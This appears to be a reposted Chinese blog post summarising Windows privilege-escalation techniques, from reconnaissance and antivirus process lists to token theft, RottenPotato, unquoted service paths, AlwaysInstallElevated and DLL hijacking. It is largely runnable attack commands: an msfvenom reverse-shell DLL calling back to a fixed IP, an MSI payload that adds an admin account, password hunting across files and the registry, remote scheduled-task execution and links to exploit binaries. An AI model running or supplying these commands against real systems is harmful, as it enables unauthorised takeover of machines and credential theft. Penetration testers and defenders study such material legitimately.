1. 程式人生 > 其它 >Windows提權總結

Windows提權總結

當以低權使用者進去一個陌生的windows機器後,無論是提權還是後續做什麼,第一步肯定要儘可能的蒐集資訊。知己知彼,才百戰不殆。

常規資訊蒐集

systeminfo 查詢系統資訊

hostname 主機名

net user 檢視使用者資訊

netstat -ano|find "3389" 檢視服務pid

wmic os get caption 檢視系統名

wmic qfe get Description,HotFixID,InstalledOn 檢視補丁資訊

wmic product get name,version 檢視當前安裝程式

wmic service list brief 查詢本機服務

wmic process list brief 查詢本機程序

net share 檢視本機共享列表

netsh firewall show config 檢視防火牆配置

常見的殺軟如下:

360sd.exe 360防毒

360tray.exe 360實時保護

ZhuDongFangYu.exe 360主動防禦

KSafeTray.exe 金山衛士

SafeDogUpdateCenter.exe 安全狗

McAfee McShield.exe McAfee

egui.exe NOD32

AVP.exe 卡巴斯基

avguard.exe 小紅傘

bdagent.exe BitDefender

要蒐集的資訊大致如下幾點:

機器的系統及其版本

機器的打補丁情況

機器安裝的服務

機器的防火牆策略配置

機器的防護軟體情況

提權簡介

提權可分為縱向提權與橫向提權:縱向提權:低許可權角色獲得高許可權角色的許可權;橫向提權:獲取同級別角色的許可權。

Windows常用的提權方法有:系統核心溢位漏洞提權、資料庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中介軟體漏洞提權、DLL劫持提權、濫用高危許可權令牌提權、第三方軟體

/服務提權等

1、系統核心溢位漏洞提權

#手工查詢補丁情況

systeminfo檢視補丁

wmic qfe get Description,HotFixID,InstalledOn 檢視補丁資訊

#MSF後滲透掃描

post/windows/gather/enum_patches

利用(VulmapWesWindowsVulnScan)對比補丁進而進行提權

2、at命令利用

在Windows2000、Windows 2003、Windows XP 這三類系統中,我們可以使用at命令將許可權提升至system許可權。

利用at命令,下面是at命令的百度解釋

AT命令是Windows XP中內建的命令,它也可以媲美Windows中的"計劃任務",而且在計劃的安排、任務的管理、工作事務的處理方面,AT命令具有更強大更神通的功能。AT命令可在指定時間和日期、在指定計算機上執行命令和程式。

因為at命令預設是以system許可權下執行的所以我們可以利用以下命令,進行提權。

at 時間 /interactive cmd 其中裡面的/interactive引數是開啟互動模式

等待一分鐘後

可以看到已經啟動了一個system許可權下的cmd視窗,雖然此時我們已經有了system的許可權,但是可以看到,桌面還是之前使用者的許可權所啟動的

為了完全提權,我們可以在system的cmd裡面輸入taskmgr.exe來啟動工作管理員

在工作管理員裡面我們結束掉之前由之前賬號開啟的桌面程序

然後再新增一個由system許可權下開啟的桌面程序

再點入看現在登入的賬號是

提權成功!

或者利用msf生成木馬在利用at啟動

3、sc命令利用

適用於windows 7/803/0812/16

因為at命令在win7win8等更高版本的系統上都已經取消掉了,所以在一些更高版本的windows作業系統上我們可以用sc命令進行提權,下面是sc的百度解釋。

SC命令是XP系統中功能強大的DOS命令,SC命令能與"服務控制器"和已安裝裝置進行通訊。SC是用於與服務控制管理器和服務進行通訊的命令列程式。

通俗理解就是sc可以啟動一個服務,命令如下。

sc Create systemcmd binPath= "cmd /K start" type= own type= interact

其中systemcmd是服務名稱,大家可以隨意填寫,binpath是啟動的命令,type=own是指服務這個服務屬於誰,type=interact。這裡再解釋一下 cmd/k start 這個命令,這個命令就是啟動一個新的cmd視窗,如圖。

我們繼續回車

上面的命令。

可以看到服務已建立,但是剛建立的服務是預設關閉的,所以我們要開啟這個服務,大家可以用圖形化介面開啟,但是在滲透過程中我們大多數拿到的都是命令列介面,所以這裡我只介紹命令列操作了。

敲入sc start systemcmd,即可啟動服務!

因為sc啟動服務也是預設system許可權的,所以我們啟動的cmd視窗也是system許可權!接下來的操作就可以和xp2003一樣了,這裡就不在重複了。

4、psexec提權

適用版本:Win2003 & Win2008

微軟官方工具包https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

提權命令

psexec.exe -accepteula -s -i -d cmd.exe

開啟的cmd視窗也是system許可權

5、 繞過UAC提權

UAC簡介

1.什麼是使用者帳戶控制(UAC)?

MicrosoftWindows VistaWindows Server 2008作業系統引入了一種良好的使用者帳戶控制架構,以防止系統範圍內的意外更改,這種更改是可以預見的,並且只需要很少的操作量。

換句話說,它是Windows的一個安全功能,它支援防止對作業系統進行未經授權的修改,UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows系統保持不變。

2.UAC如何執行?

UAC通過阻止程式執行任何涉及有關係統更改/特定任務的任務來執行。除非嘗試執行這些操作的程序以管理員許可權執行,否則這些操作將無法執行。如果您以管理員身份執行程式,則它將具有更多許可權,因為它將被"提升許可權",而不是以管理員身份執行的程式。

UAC不會自動阻止惡意軟體,其目的不是確定程式是否是惡意軟體。這同樣取決於使用者。如果將以管理員許可權執行程式,則將提醒使用者並且需要使用者確認。

繞過方法

一般我們通過msf拿到meterprter的會話後,我們可以通過getsystem或者getuid來檢查是否是system許可權

如果不是system許可權,我們可以通過以下繞過UAC模組對UAC進行繞過,在通過getsystem進行提權

#Msf
exploit/windows/local/ask #
彈出UAC確認視窗,點選後獲得system許可權
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

6、令牌竊取

適用於2008之前版本

令牌簡介

描述程序或者執行緒安全上下文的一個物件。不同的使用者登入計算機後, 都會生成一個Access Token,這個Token在使用者建立程序或者執行緒時會被使用,不斷的拷貝,這也就解釋了A使用者建立一個程序而該程序沒有B使用者的許可權。一般使用者雙擊執行一個程序都會拷貝explorer.exe的Access Token。訪問令牌分為:

* 授權令牌(Delegation token):互動式會話登陸(例:本地使用者登陸、使用者桌面等)

* 模擬令牌(Impersonation token):非互動式登陸(例:net use 訪問共享檔案)

兩種token只有在系統重啟後才會清除;授權令牌在使用者登出後,該令牌會變為模擬令牌依舊有效。

同樣也可以這樣理解,當前系統中的某個程序或執行緒能訪問到什麼樣的系統資源,完全取決於你當前程序是拿著誰的令牌。

預設情況下,我們列舉令牌,只能列舉出當前使用者和比當前使用者許可權更低使用者的令牌。令牌的數量取決於當前shell的訪問級別,如果當前的shell是administrator或者是system,我們就可以看到系統中的所有的令牌。

攻擊方法

#首先提前獲取一個session

meterpreter > use incognito

meterpreter > list_tokens -u

meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:這裡是兩個反斜槓\\

7、爛土豆提權

一般爛土豆需要來配合令牌竊取來進行提權

注意(重點:用爛土豆配合本地使用者提權是成功不了的,必須是web許可權或資料庫許可權)

  1. 單純令牌竊取:Web許可權或本地許可權
  2. 配合爛土豆提權:web許可權或資料庫等許可權

爛土豆提權原理

  1. 欺騙 "NT AUTHORITY\SYSTEM"賬戶通過NTLM認證到我們控制的TCP終端。
  2. 對這個認證過程使用中間人攻擊(NTLM重放),為"NT AUTHORITY\SYSTEM"賬戶本地協商一個安全令牌。這個過程是通過一系列的Windows API呼叫實現的。
  3. 模仿這個令牌。只有具有"模仿安全令牌許可權"的賬戶才能去模仿別人的令牌。一般大多數的服務型賬戶(IIS、MSSQL等)有這個許可權,大多數使用者級的賬戶沒有這個許可權。

所以,一般從web拿到的webshell都是IIS伺服器許可權,是具有這個模仿許可權的。測試過程中,我發現使用已經建好的賬戶(就是上面說的使用者級賬戶)去反彈meterpreter然後再去執行EXP的時候會失敗,但使用菜刀(IIS伺服器許可權)反彈meterpreter就會成功。

攻擊方法

meterpreter > upload /root/Rottenpotato/rottenpotato.exe

meterpreter > execute -HC -f rottenpotato.exe

meterpreter > use incognito

meterpreter > list_tokens -u

會發現令牌列表裡面存在system的令牌,在用system的令牌進行提權

爛土豆版本

RottonPatato指令碼:

  1. https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
  2. https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
  3. https://github.com/foxglovesec/RottenPotato

8、可信任服務路徑漏洞

如果一個服務的可執行檔案的路徑沒有被雙引號引起來且包含空格,那麼這個服務就是有漏洞的

MSF使用實戰:

漏洞原理

這裡假設有一個服務路徑 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

  1. 帶引號時:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"會被看成一個完整的服務路徑,故不會產生漏洞。
  2. 不帶引號時:我們認為的服務路徑是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由於沒有雙引號的包裹,Windows會認為C:\Program空格後面的為Program這個程式的引數來進行啟動服務。這樣攻擊者就可以命名一個為Program.exe的後門檔案放在c盤下,進而等待含漏洞服務路徑的啟動或重啟導致後門檔案的執行。

攻擊方法

#尋找存在漏洞的服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

把我們後門檔案重新命名放在對應的檔案路徑下

msf上進行監聽,然後啟動對應服務

接收到shell,且是system許可權

#msf檢測攻擊模組
exploit/windows/local/unquoted_service_path

#正常接收到會話後,不久就會自動斷開連線,需要開啟命令自動遷移程序

set AutoRunScript migrate -f

9、不安全服務許可權配合計劃任務schtasks或SC命令利用

如果攻擊者對以高許可權執行的任務所在的目錄具有寫許可權,就可以使用覆蓋原來的服務路徑,進而啟動我們的惡意程式(一般用來administrator提權到system,因為普通使用者用sc修改服務路徑會沒有許可權,導致不能用該方法提權。)

accesschk.exe -uwcqv "administrators" * #檢查administrators組的許可權配置(這裡自己建立了一個test服務)

scconfig"test"binpath="C:\shell.exe" #用sc命令修改服務對應路徑

sc start test #然後我們在msf監聽,在啟動該服務,就可以接收到我們的shell

當然還可以用schtasks來定時啟動服務,schtasks命令比at命令更靈活。而且在Windows VistaWindows Server 2008及之後版本的作業系統已經棄用at命令。

#檢視計算機的計劃任務
schtasks /query /fo LIST /v

schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在遠端主機執行"test"任務

schtasks /run /s 10.10.10.80 /i /tn "test"

執行完成之後就刪除計劃任務

schtasks /delete /s 10.10.10.80 /tn "test" /f

接著刪除IPC$

net use \\10.10.10.80 /del /y

在使用schtasks命令的時候會在系統留下日誌檔案C:WindowsTasksSchedLgU.txt。

引數的意思:

/create 表示建立計劃任務

/tn 表示任務名

/tr 指定執行的檔案

/sc 是任務執行頻率

/st 是執行時間

/s 指定遠端機器名或 ip 地址

/ru 指定執行任務的使用者許可權,這裡指定為最高的 SYSTEM

/i 表示立即執行

/F 表示如果指定的任務已經存在,則強制建立任務並抑制警告

/delete 是刪除任務。

10、Unattended Installs(自動安裝)

自動安裝允許程式在不需要管理員關注下自動安裝。這種解決方案用於在擁有較多僱員和時間緊缺的較大 型組織中部署程式。如果管理員沒有進行清理的話,那麼會有一個名為Unattend的XML檔案殘存在系統上。 這個XML檔案包含所有在安裝程式過程中的配置,包括一些本地使用者的配置,以及管理員賬戶。

全盤搜尋Unattend檔案是個好辦法,它通常會在以下一個資料夾中:

Copy

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

除了Unattend.xml檔案外,還要留意系統中的sysprep.xml和sysprep.inf檔案,這些檔案中都會包含部署操作 系統時使用的憑據資訊,這些資訊可以幫助我們提權。

Copy

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c

Copy

#或者在名稱中包含關鍵詞的專案:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

#或者可以在檔案內容中搜索password之類的關鍵字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查詢登錄檔,例如,字串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在這些檔案中通常包含使用者名稱和密碼,密碼使用base64編碼,並且在最後會附加"Password",所以真正的密 碼需要去掉最後的"Password"。

#msf模組
post/windows/gather/enum_unattend

11、AlwaysInstallElevated

AlwaysInstallElevated 是一種允許非管理使用者以SYSTEM許可權執行Microsoft Windows安裝程式包(.MSI檔案)的設定。預設情況下禁用此設定,需系統管理員手動啟用他。

可以通過查詢以下注冊表項來識別此設定:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001

使用reg query命令查詢是否存在漏洞

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系統沒這個漏洞,它將輸出錯誤:

ERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面將輸出以下內容:

然後我們使用msfvenom生成msi檔案,進行提權

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet 安裝過程中禁止向用戶傳送訊息
# /qn 不使用GUI
# /i 安裝程式

msf下的自動模組
exploit/windows/local/always_install_elevated

12、DLL劫持提權

原理:Windows程式啟動的時候需要DLL。如果這些DLL 不存在,則可以通過在應用程式要查詢的位置放置惡意DLL來提權。通常,Windows應用程式有其預定義好的搜尋DLL的路徑,它會根據下面的順序進行搜尋:

1、應用程式載入的目錄

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、當前工作目錄Current Working Directory,CWD

6、在PATH環境變數的目錄(先系統後用戶)

過程:資訊收集-程序除錯-製作dll並上傳-替換dll-啟動應用後成功

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll

常用系統漏洞CVE

#Windows10

CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008

CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

#Windows7/8、2008/2012/2016

CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

#SQL Server、IIS通殺 (針對本地使用者的,不能用於域使用者)

MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075